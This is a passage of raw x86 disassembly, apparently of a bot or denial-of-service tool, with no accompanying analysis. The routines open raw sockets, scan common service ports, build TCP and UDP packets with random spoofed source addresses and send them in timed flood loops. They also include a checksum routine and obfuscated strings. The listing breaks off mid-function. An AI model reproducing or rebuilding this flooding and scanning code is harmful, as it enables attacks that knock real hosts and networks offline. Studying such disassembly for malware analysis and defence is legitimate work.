-90h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = dword ptr -60h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 9Ch push ebx xor ebx, ebx push esi inc ebx push edi xor esi, esi push ebx push esi push esi push 0FFh push 3 push 2 mov [ebp+var_14], ebx call dword_4372C8 ; WSASocketA lea eax, [ebp+var_14] push 4 push eax push 2 push esi push esi mov dword_6764F8, esi call dword_43728C ; setsockopt call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx xor eax, eax lea edi, [ebp+var_20] mov [ebp+var_54], ebx mov [ebp+var_50], 15h mov [ebp+var_4C], 16h mov [ebp+var_48], 17h mov [ebp+var_44], 35h mov [ebp+var_40], 50h mov [ebp+var_3C], 71h mov [ebp+var_38], 87h mov [ebp+var_34], 8Bh mov [ebp+var_30], 1BDh mov [ebp+var_2C], 0CEAh mov [ebp+var_28], 0D3Dh mov [ebp+var_24], 1A0Bh stosd push 0Bh lea edi, [ebp+var_90] pop ecx mov [ebp+var_9C], esi mov [ebp+var_98], esi mov [ebp+var_94], esi rep stosd mov [ebp+var_C], esi mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], esi loc_428737: ; CODE XREF: sub_428660+143j push [ebp+arg_10] mov [ebp+var_64], 2 call sub_41E3EC mov [ebp+var_60], eax mov eax, [ebp+var_4] pop ecx lea edi, [ebp+eax+var_54] mov ax, [edi] push eax call dword_456F38 ; ntohs push esi push ebx push 2 mov [ebp+var_62], ax call dword_456FD0 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_8], eax push ecx lea ecx, [ebp+var_64] push 10h push ecx push eax call sub_428577 add esp, 10h mov [ebp+var_10], eax push [ebp+var_8] call dword_456FF0 ; closesocket cmp [ebp+var_10], esi jnz short loc_42879B mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_9C], eax loc_42879B: ; CODE XREF: sub_428660+12Dj add [ebp+var_4], 4 cmp [ebp+var_4], 38h jl short loc_428737 mov edi, 400h push offset asc_43D938 ; " " push edi push offset dword_676500 call sub_429BBE add esp, 0Ch call dword_437188 ; GetTickCount mov [ebp+var_8], eax mov [ebp+var_4], esi mov ebx, 0FFFFh loc_4287CE: ; CODE XREF: sub_428660+1CBj call dword_437188 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_14] ja short loc_42882D mov eax, [ebp+var_4] mov eax, [ebp+eax*4+var_9C] cmp eax, esi jz short loc_42880E mov [ebp+var_C], eax push eax mov eax, offset dword_676500 push eax push offset aSD ; "%s%d " push edi push eax call sub_429BBE add esp, 14h jmp short loc_428824 ; --------------------------------------------------------------------------- loc_42880E: ; CODE XREF: sub_428660+191j push ebx push esi call sub_41E415 pop ecx pop ecx push eax call dword_456F38 ; ntohs movzx eax, ax mov [ebp+var_C], eax loc_428824: ; CODE XREF: sub_428660+1ACj inc [ebp+var_4] cmp [ebp+var_4], 0Eh jl short loc_4287CE loc_42882D: ; CODE XREF: sub_428660+183j ; sub_428660+409j push 28h push esi push offset byte_67649C call sub_429760 push ebx push edi mov byte_67649C, 45h mov byte_6764A5, 6 mov byte_67649D, 8 call sub_41E415 add esp, 14h push eax call dword_456F38 ; ntohs push 28h mov word_6764A0, ax call dword_456F38 ; ntohs push [ebp+arg_10] mov word_67649E, ax mov word_6764A2, si mov byte_6764A4, 40h call sub_41E3EC mov edi, eax mov [esp+0ACh+var_AC], 0FFFEh push 1 and edi, ebx call sub_41E415 push [ebp+arg_10] shl eax, 20h or eax, edi mov dword_6764A8, eax call sub_41E3EC and byte_6764BD, 0 add esp, 0Ch mov dword_6764AC, eax push 2000h call dword_456F38 ; ntohs push ebx push esi mov word_6764BE, ax call sub_41E415 mov edi, eax push ebx push esi shl edi, 8 call sub_41E415 add esp, 10h add edi, eax push edi call dword_456F34 ; ntohl mov dword_6764B4, eax mov al, byte_6764BC push [ebp+arg_10] and al, 0Fh or al, 50h mov dword_6764B8, esi mov byte_6764BC, al mov ax, word ptr [ebp+var_C] mov word_6764C2, si mov word_6764B2, ax call sub_41E3EC and byte_6764DC, 0 pop ecx push 14h mov dword_6764D8, eax mov byte_6764DD, 6 call dword_456F38 ; ntohs push [ebp+arg_10] mov word_6764DE, ax mov word_6764C4, 2 call sub_41E3EC mov dword_6764C8, eax mov ax, word_6764B2 pop ecx mov word_6764C6, ax mov [ebp+var_4], esi jmp short loc_42896B ; --------------------------------------------------------------------------- loc_428969: ; CODE XREF: sub_428660+3DCj xor esi, esi loc_42896B: ; CODE XREF: sub_428660+307j cmp [ebp+var_4], esi push ebx push esi jnz short loc_42899F call sub_41E415 pop ecx pop ecx push eax call dword_456F38 ; ntohs mov word_6764B0, ax mov eax, dword_6764A8 mov dword_6764D4, eax mov byte_6764BD, 2 mov dword_6764B8, esi jmp short loc_4289BC ; --------------------------------------------------------------------------- loc_42899F: ; CODE XREF: sub_428660+310j mov byte_6764BD, 10h call sub_41E415 pop ecx pop ecx push eax call dword_456F38 ; ntohs movzx eax, ax mov dword_6764B8, eax loc_4289BC: ; CODE XREF: sub_428660+33Dj inc word_6764A0 inc dword_6764B4 mov ax, word_6764B2 push 5 mov word_6764A6, si mov word_6764C0, si pop ecx mov esi, offset word_6764B0 mov edi, offset dword_6764E0 push 14h rep movsd mov esi, offset byte_67649C mov word_6764C6, ax push esi call sub_41E3E8 push 20h push offset dword_6764D4 mov word_6764A6, ax call sub_41E3E8 add esp, 10h mov word_6764C0, ax push 10h push offset word_6764C4 push 0 push 28h push esi push dword_6764F8 call dword_456FAC ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_428969 call dword_437188 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_14] ja short loc_428A6E push [ebp+arg_18] call dword_437190 ; Sleep xor esi, esi mov edi, 400h jmp loc_42882D ; --------------------------------------------------------------------------- loc_428A6E: ; CODE XREF: sub_428660+3F7j pop edi pop esi mov eax, offset dword_676500 pop ebx leave retn sub_428660 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428A78 proc near ; DATA XREF: sub_40A9FE+7C54o var_22C = byte ptr -22Ch var_128 = dword ptr -128h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 22Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 47h mov esi, eax pop ecx lea edi, [ebp+var_128] rep movsd mov ecx, [ebp+var_128] mov esi, offset dword_457CF8 push 100h push esi mov [ebp+var_4], ecx mov dword ptr [eax+118h], 1 call dword_4372E0 ; gethostname push esi call dword_4372A4 ; gethostbyname mov eax, [eax+0Ch] push esi mov esi, dword_4372C0 mov eax, [eax] mov edi, [eax] call esi ; dword_4372C0 lea eax, [ebp+var_124] push eax call esi ; dword_4372C0 mov ebx, [ebp+var_20] mov esi, [ebp+var_1C] push 0 mov [ebp+var_8], eax call sub_42A7D5 push eax call sub_429B8F pop ecx test esi, esi pop ecx jle loc_428B92 mov [ebp+var_C], esi loc_428AFB: ; CODE XREF: sub_428A78+114j call sub_429B9C cdq mov ecx, 0FFh and edi, 0FFFFFFh idiv ecx shl edx, 18h or edi, edx call sub_429B9C and [ebp+arg_0], 0 mov esi, eax and esi, 0FFh inc esi test esi, esi jle short loc_428B40 loc_428B29: ; CODE XREF: sub_428A78+C6j call sub_429B9C mov ecx, [ebp+arg_0] inc [ebp+arg_0] cmp [ebp+arg_0], esi mov [ebp+ecx+var_22C], al jl short loc_428B29 loc_428B40: ; CODE XREF: sub_428A78+AFj call sub_429B9C and eax, 3 jl short loc_428B89 cmp eax, 1 jle short loc_428B6E cmp eax, 2 jnz short loc_428B89 push ebx push [ebp+var_8] call sub_429B9C push eax push edi lea eax, [ebp+var_22C] push esi push eax call sub_428DF8 jmp short loc_428B86 ; --------------------------------------------------------------------------- loc_428B6E: ; CODE XREF: sub_428A78+D5j push ebx push [ebp+var_8] call sub_429B9C push eax push edi lea eax, [ebp+var_22C] push esi push eax call sub_428BFF loc_428B86: ; CODE XREF: sub_428A78+F4j add esp, 18h loc_428B89: ; CODE XREF: sub_428A78+D0j ; sub_428A78+DAj dec [ebp+var_C] jnz loc_428AFB loc_428B92: ; CODE XREF: sub_428A78+7Aj cmp [ebp+var_14], 0 mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" mov edi, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." mov esi, offset aSSS_0 ; "%s %s (%s)" jnz short loc_428BC9 cmp [ebp+var_18], 0 jnz short loc_428BCF lea eax, [ebp+var_124] push eax push ebx push edi lea eax, [ebp+var_A4] push esi push eax push [ebp+var_4] call sub_41CE4A add esp, 18h loc_428BC9: ; CODE XREF: sub_428A78+12Dj cmp [ebp+var_18], 0 jz short loc_428BEB loc_428BCF: ; CODE XREF: sub_428A78+133j lea eax, [ebp+var_124] push eax push ebx push edi lea eax, [ebp+var_A4] push esi push eax push [ebp+var_4] call sub_41CDD4 add esp, 18h loc_428BEB: ; CODE XREF: sub_428A78+155j push [ebp+var_24] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread pop edi pop esi pop ebx sub_428A78 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428BFF proc near ; CODE XREF: sub_428A78+109p var_1038 = byte ptr -1038h var_1034 = byte ptr -1034h var_102F = byte ptr -102Fh var_102E = byte ptr -102Eh var_102C = byte ptr -102Ch var_1024 = byte ptr -1024h var_101C = byte ptr -101Ch var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov eax, 1038h call sub_429B60 push ebx xor ebx, ebx push ebx push ebx push ebx push 11h push 3 push 2 call dword_4372C8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz short loc_428C42 lea ecx, [ebp+var_24] push 4 push ecx push 2 push ebx push eax mov [ebp+var_24], 1 call dword_43728C ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_428C49 loc_428C42: ; CODE XREF: sub_428BFF+25j xor eax, eax jmp loc_428DF5 ; --------------------------------------------------------------------------- loc_428C49: ; CODE XREF: sub_428BFF+41j push esi push edi mov edi, [ebp+arg_4] mov [ebp+var_20], 45h lea esi, [edi+1Ch] mov [ebp+var_28], esi call sub_429B9C push esi mov esi, dword_4372C4 mov [ebp+var_1F], al call esi ; dword_4372C4 mov [ebp+var_1E], ax call sub_429B9C push eax call esi ; dword_4372C4 mov [ebp+var_1C], ax call sub_429B9C push [ebp+arg_C] mov [ebp+var_1A], ax mov eax, [ebp+arg_8] mov [ebp+var_18], 80h mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov [ebp+var_17], 11h mov [ebp+var_16], bx mov [ebp+var_10], eax call esi ; dword_4372C4 push [ebp+arg_14] mov [ebp+var_8], ax call esi ; dword_4372C4 add edi, 8 mov [ebp+var_6], ax push edi call esi ; dword_4372C4 mov edi, 200h mov [ebp+var_4], ax push edi lea eax, [ebp+var_1038] push ebx push eax mov [ebp+var_2], bx call sub_429760 lea eax, [ebp+var_14] push 4 push eax lea eax, [ebp+var_1038] push eax call sub_429420 lea eax, [ebp+var_10] push 4 push eax lea eax, [ebp+var_1034] push eax call sub_429420 lea eax, [ebp+var_17] push 1 push eax lea eax, [ebp+var_102F] push eax call sub_429420 lea eax, [ebp+var_4] push 2 push eax lea eax, [ebp+var_102E] push eax call sub_429420 lea eax, [ebp+var_8] push 8 push eax lea eax, [ebp+var_102C] push eax call sub_429420 movzx esi, word ptr [ebp+arg_4] add esp, 48h lea eax, [ebp+var_1024] push esi push [ebp+arg_0] push eax call sub_429420 lea eax, [esi+14h] push eax lea eax, [ebp+var_1038] push eax call sub_42904F mov [ebp+var_2], ax push edi lea eax, [ebp+var_1038] push ebx push eax call sub_429760 lea eax, [ebp+var_20] push 14h push eax lea eax, [ebp+var_1038] push eax call sub_429420 lea eax, [ebp+var_8] push 8 push eax lea eax, [ebp+var_1024] push eax call sub_429420 push esi lea eax, [ebp+var_101C] push [ebp+arg_0] push eax call sub_429420 add esp, 44h lea eax, [ebp+var_38] push 10h push ebx push eax call sub_429760 mov ax, [ebp+var_6] add esp, 0Ch mov [ebp+var_36], ax mov eax, [ebp+var_10] mov [ebp+var_34], eax lea eax, [ebp+var_38] push 10h push eax movzx eax, word ptr [ebp+var_28] push ebx push eax lea eax, [ebp+var_1038] mov [ebp+var_38], 2 push eax push [ebp+var_C] call dword_437294 ; sendto xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl push 2 mov esi, ecx call dword_437190 ; Sleep push [ebp+var_C] call dword_4372D8 ; closesocket mov eax, esi pop edi pop esi loc_428DF5: ; CODE XREF: sub_428BFF+45j pop ebx leave retn sub_428BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428DF8 proc near ; CODE XREF: sub_428A78+EFp var_1044 = byte ptr -1044h var_1040 = byte ptr -1040h var_103B = byte ptr -103Bh var_103A = byte ptr -103Ah var_1038 = byte ptr -1038h var_1030 = byte ptr -1030h var_1024 = byte ptr -1024h var_101C = byte ptr -101Ch var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov eax, 1044h call sub_429B60 push edi xor edi, edi push edi push edi push edi push 0FFh push 3 push 2 call dword_4372C8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_18], eax jz short loc_428E3E lea ecx, [ebp+var_34] push 4 push ecx push 2 push edi push eax mov [ebp+var_34], 1 call dword_43728C ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_428E45 loc_428E3E: ; CODE XREF: sub_428DF8+28j xor eax, eax jmp loc_42904C ; --------------------------------------------------------------------------- loc_428E45: ; CODE XREF: sub_428DF8+44j mov eax, [ebp+arg_4] push ebx push esi mov [ebp+var_14], 45h lea esi, [eax+28h] mov [ebp+var_30], esi call sub_429B9C push esi mov esi, dword_4372C4 mov [ebp+var_13], al call esi ; dword_4372C4 mov [ebp+var_12], ax call sub_429B9C push eax call esi ; dword_4372C4 mov [ebp+var_10], ax call sub_429B9C push [ebp+arg_C] mov [ebp+var_E], ax mov eax, [ebp+arg_8] mov [ebp+var_C], 80h mov [ebp+var_8], eax mov eax, [ebp+arg_10] mov [ebp+var_B], 6 mov [ebp+var_A], di mov [ebp+var_4], eax call esi ; dword_4372C4 push [ebp+arg_14] mov [ebp+var_2C], ax call esi ; dword_4372C4 mov [ebp+var_2A], ax call sub_429B9C mov ebx, dword_4372E4 push eax call ebx ; dword_4372E4 mov [ebp+var_24], eax mov eax, [ebp+arg_4] add eax, 14h push eax call esi ; dword_4372C4 mov [ebp+var_20], al call sub_429B9C mov [ebp+var_1F], al call sub_429B9C push eax call ebx ; dword_4372E4 push 1A0Ah mov [ebp+var_28], eax mov [ebp+var_1A], di call esi ; dword_4372C4 mov ebx, 200h mov [ebp+var_1E], ax push ebx lea eax, [ebp+var_1044] push edi push eax mov [ebp+var_1C], di call sub_429760 lea eax, [ebp+var_8] push 4 push eax lea eax, [ebp+var_1044] push eax call sub_429420 lea eax, [ebp+var_4] push 4 push eax lea eax, [ebp+var_1040] push eax call sub_429420 lea eax, [ebp+var_B] push 1 push eax lea eax, [ebp+var_103B] push eax call sub_429420 lea eax, [ebp+var_20] push 2 push eax lea eax, [ebp+var_103A] push eax call sub_429420 lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_1038] push eax call sub_429420 movzx esi, word ptr [ebp+arg_4] add esp, 48h lea eax, [ebp+var_1024] push esi push [ebp+arg_0] push eax call sub_429420 lea eax, [esi+20h] push eax lea eax, [ebp+var_1044] push eax call sub_42904F mov [ebp+var_1C], ax push ebx lea eax, [ebp+var_1044] push edi push eax call sub_429760 lea eax, [ebp+var_14] push 14h push eax lea eax, [ebp+var_1044] push eax call sub_429420 lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_1030] push eax call sub_429420 push esi lea eax, [ebp+var_101C] push [ebp+arg_0] push eax call sub_429420 add esp, 44h add esi, 34h lea eax, [ebp+var_1044] push esi push eax call sub_42904F mov [ebp+var_A], ax lea eax, [ebp+var_14] push 14h push eax lea eax, [ebp+var_1044] push eax call sub_429420 push 10h lea eax, [ebp+var_44] push edi push eax call sub_429760 mov ax, [ebp+var_2A] add esp, 20h mov [ebp+var_42], ax mov eax, [ebp+var_4] mov [ebp+var_40], eax lea eax, [ebp+var_44] push 10h push eax movzx eax, word ptr [ebp+var_30] push edi push eax lea eax, [ebp+var_1044] mov [ebp+var_44], 2 push eax push [ebp+var_18] call dword_437294 ; sendto xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov esi, ecx push 2 call dword_437190 ; Sleep push [ebp+var_18] loc_429042: ; DATA XREF: .text:0043A055o call dword_4372D8 ; closesocket mov eax, esi pop esi pop ebx loc_42904C: ; CODE XREF: sub_428DF8+48j pop edi leave retn sub_428DF8 endp ; =============== S U B R O U T I N E ======================================= sub_42904F proc near ; CODE XREF: sub_428BFF+14Ap ; sub_428DF8+182p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_42907A lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_42906D: ; CODE XREF: sub_42904F+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_42906D pop edi jmp short loc_42907E ; --------------------------------------------------------------------------- loc_42907A: ; CODE XREF: sub_42904F+Aj mov esi, [esp+4+arg_0] loc_42907E: ; CODE XREF: sub_42904F+29j test ecx, ecx jz short loc_429087 movzx eax, byte ptr [esi] add edx, eax loc_429087: ; CODE XREF: sub_42904F+31j mov ecx, edx and edx, 0FFFFh shr ecx, 20h add ecx, edx pop esi mov eax, ecx shr eax, 20h add eax, ecx not eax retn sub_42904F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4290A0 proc near ; CODE XREF: sub_40A737+39p ; sub_40A737+6Cp ... jmp dword_4370A0 sub_4290A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4290A6 proc near ; CODE XREF: sub_40A737+2Ep ; sub_41EFEF+3Fp jmp dword_4370A4 sub_4290A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4290AC proc near ; CODE XREF: sub_40A737+1Ep ; sub_41EFEF+26p ... jmp dword_4370A8 sub_4290AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4290B2 proc near ; CODE XREF: sub_41F0F5+3A0p jmp dword_43711C sub_4290B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4290B8 proc near ; CODE XREF: sub_41F0F5+8Bp jmp dword_437120 sub_4290B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4290BE proc near ; CODE XREF: sub_428577+A0p ; sub_428577+B1p jmp dword_4372EC sub_4290BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4290C4 proc near ; CODE XREF: sub_405C99+83p ; sub_405C99+121p ... jmp dword_43724C sub_4290C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4290CA proc near ; CODE XREF: sub_41F0F5+D2p jmp dword_4372F8 sub_4290CA endp ; =============== S U B R O U T I N E ======================================= sub_4290D0 proc near ; CODE XREF: sub_415603+33p ; sub_415641+33p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4298F2 pop ecx retn sub_4290D0 endp ; =============== S U B R O U T I N E ======================================= sub_4290DB proc near ; CODE XREF: sub_41B5C1+Dp mov eax, offset loc_436694 call sub_42B7CC sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_41B4ED mov esi, offset aStringTooLong ; "string too long" push esi call sub_4293A0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_41B525 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41B24F lea eax, [ebp-3Ch] push offset dword_438638 push eax mov dword ptr [ebp-3Ch], offset off_4373A4 call sub_42B8FA pop esi sub_4290DB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429135 proc near ; CODE XREF: sub_429172+20p ; DATA XREF: .text:0043863Co mov eax, offset loc_4366A8 call sub_42B7CC push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_4373C4 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_41B4ED or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_42BA1B mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_429135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429172 proc near ; DATA XREF: .text:004373ACo var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4291AB lea eax, [ebp+var_1C] push offset dword_438638 push eax call sub_42B8FA loc_42918F: ; DATA XREF: .text:off_4373A4o push esi mov esi, ecx call sub_429135 test [esp+20h+var_18], 1 jz short loc_4291A5 push esi call sub_4290D0 pop ecx loc_4291A5: ; CODE XREF: sub_429172+2Aj mov eax, esi pop esi retn 4 sub_429172 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4291AB proc near ; CODE XREF: sub_429172+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B332 mov dword ptr [esi], offset off_4373A4 mov eax, esi pop esi retn 4 sub_4291AB endp ; =============== S U B R O U T I N E ======================================= sub_4291C3 proc near ; CODE XREF: sub_41B420+13p ; sub_41B55A+Ep ; FUNCTION CHUNK AT 00429253 SIZE 0000000C BYTES mov eax, offset loc_4366BC call sub_42B7CC sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_41B4ED mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_4293A0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_41B525 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41B24F lea eax, [ebp-3Ch] push offset dword_438474 push eax mov dword ptr [ebp-3Ch], offset off_4373D4 call sub_42B8FA pop esi loc_42921D: ; DATA XREF: .text:0043A00Co test byte_676C98, 1 jnz short loc_42922D or byte_676C98, 1 loc_42922D: ; CODE XREF: sub_4291C3+61j call sub_429247 test byte_676C99, 1 jnz short loc_429242 or byte_676C99, 1 loc_429242: ; CODE XREF: sub_4291C3+76j jmp loc_429253 sub_4291C3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429247 proc near ; CODE XREF: sub_4291C3:loc_42922Dp push offset nullsub_1 call sub_42B869 pop ecx retn sub_429247 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291C3 loc_429253: ; CODE XREF: sub_4291C3:loc_429242j push offset nullsub_1 call sub_42B869 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4291C3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_429260 proc near ; CODE XREF: sub_423C7A+10Ap ; sub_423C7A+1C3p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_4292CF retn 4 sub_429260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42926E proc near ; CODE XREF: sub_423C7A+12Dp ; sub_423C7A+239p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_4292C0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_450E20 push eax call dword ptr [ecx] test eax, eax jl short loc_4292C0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_4292C0 lea eax, [ebp+var_4] push eax push 0 call dword_437254 test eax, eax jz short loc_4292C0 and [ebp+var_4], 0 loc_4292C0: ; CODE XREF: sub_42926E+Dj ; sub_42926E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_4292CF leave retn 0Ch sub_42926E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292CF proc near ; CODE XREF: sub_429260+6p ; sub_42926E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_4292F3 lea eax, [ebp+var_10] push offset dword_4386E8 push eax call sub_42B8FA sub_4292CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4292F3 proc near ; CODE XREF: sub_4292CF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4373FC test eax, eax mov [esi+8], eax jz short loc_42931F cmp [esp+4+arg_8], 0 jz short loc_42931F mov ecx, [eax] push eax call dword ptr [ecx+4] loc_42931F: ; CODE XREF: sub_4292F3+1Dj ; sub_4292F3+24j mov eax, esi pop esi retn 0Ch sub_4292F3 endp ; =============== S U B R O U T I N E ======================================= sub_429325 proc near ; DATA XREF: .text:off_4373FCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_42936E test [esp+4+arg_0], 1 jz short loc_42933B push esi call sub_4290D0 pop ecx loc_42933B: ; CODE XREF: sub_429325+Dj mov eax, esi pop esi retn 4 sub_429325 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4373FC jz short loc_429368 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_429368: ; CODE XREF: .text:00429360j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42936E proc near ; CODE XREF: sub_429325+3p ; DATA XREF: .text:004386ECo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4373FC test eax, eax jz short loc_429384 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_429384: ; CODE XREF: sub_42936E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_429392 push esi call dword_43703C ; LocalFree loc_429392: ; CODE XREF: sub_42936E+1Bj pop esi retn sub_42936E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4293A0 proc near ; CODE XREF: sub_4011E4+7p ; sub_401B6E+28Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_4293C0 loc_4293AC: ; CODE XREF: sub_4293A0+19j mov al, [ecx] inc ecx test al, al jz short loc_4293F3 test ecx, 3 jnz short loc_4293AC add eax, 0 loc_4293C0: ; CODE XREF: 